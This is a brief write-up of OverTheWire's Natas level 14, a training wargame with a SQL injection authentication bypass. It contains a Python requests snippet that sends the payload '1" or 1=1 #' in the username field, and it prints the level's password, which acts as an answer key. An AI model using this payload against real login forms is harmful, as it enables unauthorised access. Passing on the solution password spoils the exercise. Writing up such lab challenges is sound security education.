Writeups OverTheWireNatasWeb ExploitationSQL Injection

Natas 14 Writeup - OverTheWire

Writeup for Natas level 14 from OverTheWire: classic SQL injection auth bypass.

Contents

Wargame: Natas

Level: 14

Category: Web Exploitation

Description

A login form accepts a username and password. The source code reveals the SQL query used for authentication. The goal is to log in without valid credentials.

Overview

Background: SQL Injection Auth Bypass

Solution

Step 1: Identify the Query

Step 2: Craft the Injection

r = requests.post(
    url,
    auth=HTTPBasicAuth("natas14", password),
    data={"username": '1" or 1=1 #', "password": "NULL"},
)

Step 3: Extract the Password

Password

TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

← Back to Blog